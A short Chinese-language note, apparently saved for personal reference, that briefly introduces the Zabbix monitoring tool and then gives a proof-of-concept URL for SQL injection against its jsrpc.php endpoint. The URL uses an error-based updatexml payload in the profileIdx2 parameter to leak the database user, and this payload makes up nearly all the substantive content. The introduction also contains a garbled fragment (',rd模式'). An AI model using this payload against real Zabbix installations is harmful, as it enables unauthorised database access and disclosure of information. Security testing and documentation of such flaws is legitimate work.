介绍

Zabbix是一个开源监控软件工具，适用于各种IT组件，包括网络，服务器，虚拟机和云服务。

Zabbix提供监控指标，其中包括网络利用率，CPU负载和磁盘空间消耗 ,rd模式。

Poc

http://172.21.0.5/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

注入信息

总结

很基础，收藏留存。